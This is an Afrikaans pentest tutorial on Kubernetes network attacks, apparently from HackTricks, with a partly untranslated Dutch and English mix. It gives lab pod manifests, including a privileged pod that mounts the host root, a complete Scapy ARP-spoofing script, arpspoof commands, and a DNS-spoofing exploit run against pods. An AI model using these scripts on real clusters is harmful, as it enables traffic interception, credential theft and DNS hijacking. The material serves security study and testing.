# Kubernetes Netwerkaanvalle

{{#include ../../banners/hacktricks-training.md}}

## Inleiding

In Kubernetes word waargeneem dat 'n standaardgedrag die totstandkoming van verbindings tussen **alle houers wat op dieselfde node woon** toelaat. Dit geld ongeag die naamruimte verskille. So 'n verbinding strek af na **Laag 2** (Ethernet). Gevolglik stel hierdie konfigurasie die stelsel potensieel bloot aan kwesbaarhede. Spesifiek maak dit die moontlikheid oop vir 'n **kwaadwillige houer** om 'n **ARP spoofing-aanval** teen ander houers wat op dieselfde node geleë is, uit te voer. Tydens so 'n aanval kan die kwaadwillige houer bedrogstig die netwerkverkeer wat bedoel is vir ander houers onderskep of verander.

ARP spoofing-aanvalle behels die **aanvaller wat vervalste ARP** (Address Resolution Protocol) boodskappe oor 'n plaaslike area netwerk stuur. Dit lei tot die koppel van die **aanvaller se MAC-adres met die IP-adres van 'n wettige rekenaar of bediener op die netwerk**. Na suksesvolle uitvoering van so 'n aanval kan die aanvaller data in-transit onderskep, verander of selfs stop. Die aanval word op Laag 2 van die OSI-model uitgevoer, wat die rede is waarom die standaardverbinding in Kubernetes op hierdie laag sekuriteitskwessies laat ontstaan.

In die scenario gaan 4 masjiene geskep word:

- ubuntu-pe: Bevoorregte masjien om na die node te ontsnap en metrieks te kontroleer (nie nodig vir die aanval nie)
- **ubuntu-attack**: **Kwaadwillige** houer in die standaard naamruimte
- **ubuntu-victim**: **Slachtoffer** masjien in kube-system naamruimte
- **mysql**: **Slachtoffer** masjien in die standaard naamruimte
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
```

```bash
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
```
## Basiese Kubernetes Netwerk

As jy meer besonderhede oor die netwerkonderwerpe wat hier bekendgestel is, wil hê, gaan na die verwysings.

### ARP

In die algemeen is **pod-naar-pod netwerk binne die node** beskikbaar via 'n **brug** wat al die pods verbind. Hierdie brug word “**cbr0**” genoem. (Sommige netwerkpluggins sal hul eie brug installeer.) Die **cbr0 kan ook ARP** (Address Resolution Protocol) resolusie hanteer. Wanneer 'n inkomende pakket by cbr0 aankom, kan dit die bestemmings MAC-adres met behulp van ARP oplos.

Hierdie feit impliseer dat, per default, **elke pod wat in dieselfde node loop** in staat gaan wees om te **kommunikeer** met enige ander pod in dieselfde node (onafhanklik van die namespace) op ethernetvlak (laag 2).

> [!WARNING]
> Daarom is dit moontlik om A**RP Spoofing-aanvalle tussen pods in dieselfde node uit te voer.**

### DNS

In kubernetes omgewings sal jy gewoonlik 1 (of meer) **DNS dienste wat loop** gewoonlik in die kube-system namespace vind:
```bash
kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153
```
In die vorige inligting kan jy iets interessant sien, die **IP van die diens** is **10.96.0.10** maar die **IP van die pod** wat die diens uitvoer is **172.17.0.2.**

As jy die DNS-adres binne enige pod nagaan, sal jy iets soos hierdie vind:
```
cat /etc/resolv.conf
nameserver 10.96.0.10
```
However, the pod **weet nie** hoe om by daardie **adres** te kom nie omdat die **pod reeks** in hierdie geval 172.17.0.10/26 is.

Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **vertaal** deur die cbr0 **na** **172.17.0.2**.

> [!WARNING]
> This means that a **DNS request** of a pod is **altyd** going to go the **bridge** to **vertaal** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
>
> Knowing this, and knowing **ARP-aanvalle is moontlik**, a **pod** in a node is going to be able to **af te luister die verkeer** tussen **elke pod** in die **subnetwerk** en die **bridge** en **wysig** die **DNS antwoorde** van die DNS server (**DNS Spoofing**).
>
> Moreover, if the **DNS server** is in the **dieselfde node as the attacker**, the attacker can **af te luister al die DNS versoek** van enige pod in die cluster (tussen die DNS server en die bridge) en die antwoorde wysig.

## ARP Spoofing in pods in the same Node

Our goal is to **steel ten minste die kommunikasie van die ubuntu-victim na die mysql**.

### Scapy
```bash
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
```

```python:arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
```
### ARPSpoof
```bash
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing

Soos reeds genoem, as jy **'n pod in dieselfde node van die DNS bediener pod kompromitteer**, kan jy **MitM** met **ARPSpoofing** die **brug en die DNS** pod en **alle DNS-antwoorde** **wysig**.

Jy het 'n regte goeie **instrument** en **handleiding** om dit te toets in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)

In ons scenario, **aflaai** die **instrument** in die aanvaller pod en skep 'n **lêer genaamd `hosts`** met die **domeine** wat jy wil **spoof** soos:
```
cat hosts
google.com. 1.1.1.1
```
Voer die aanval op die ubuntu-victim masjien uit:
```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
```

```bash
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1
```
> [!NOTE]
> As jy probeer om jou eie DNS spoofing skrip te skep, as jy **net die DNS antwoord** aanpas, gaan dit **nie** **werk** nie, omdat die **antwoord** 'n **src IP** gaan hê van die **kwaadwillige** **pod** en **nie** aanvaar gaan word nie.\
> Jy moet 'n **nuwe DNS pakket** genereer met die **src IP** van die **DNS** waar die slagoffer die DNS versoek stuur (wat iets soos 172.16.0.2 is, nie 10.96.0.10 nie, dit is die K8s DNS diens IP en nie die DNS bediener IP nie, meer oor dit in die inleiding).

## DNS Spoofing via coreDNS configmap

'n Gebruiker met skryfregte oor die configmap `coredns` in die kube-system naamruimte kan die DNS antwoorde van die kluster aanpas.

Kyk meer inligting oor hierdie aanval in:

{{#ref}}
abusing-roles-clusterroles-in-kubernetes/README.md
{{/ref}}

## Misbruik van blootgestelde kubernetes bestuurdienste

Dienste soos Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, en die Kubernetes dashboard is dikwels blootgestel aan die internet of binne die kubernetes netwerk. 'n Aanvaller wat daarin slaag om **enige platform te vind wat gebruik word om kubernetes te bestuur en toegang te verkry** kan dit misbruik om toegang tot die kubernetes API te verkry en aksies uit te voer soos om nuwe pods te skep, bestaande te wysig, of selfs te verwyder.

## Opname van kubernetes netwerkbeleide

Kry geconfigureerde **networkpolicies**:
```bash
kubectl get networkpolicies --all-namespaces
```
Kry **Callico** netwerkbeleide:
```bash
kubectl get globalnetworkpolicy --all-namespaces
```
Kry **Cillium** netwerkbeleide:
```bash
kubectl get ciliumnetworkpolicy --all-namespaces
```
Kry ander beleid-verwante CRD's geïnstalleer deur jou netwerk-inprop of sekuriteitsoplossing:
```bash
kubectl get crd | grep -i policy
```
## Traffic Vasvang

Die hulpmiddel [**Mizu**](https://github.com/up9inc/mizu) is 'n eenvoudige maar kragtige API **verkeer kyker vir Kubernetes** wat jou in staat stel om **alle API kommunikasie** tussen mikrodiens te sien om jou te help om regressies te ontfout en op te los.\
Dit sal agente in die geselekteerde pods installeer en hul verkeersinligting versamel en dit aan jou in 'n webbediener wys. Jy sal egter hoë K8s-toestemmings benodig hiervoor (en dit is nie baie stil nie).

## Verwysings

- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)

{{#include ../../banners/hacktricks-training.md}}
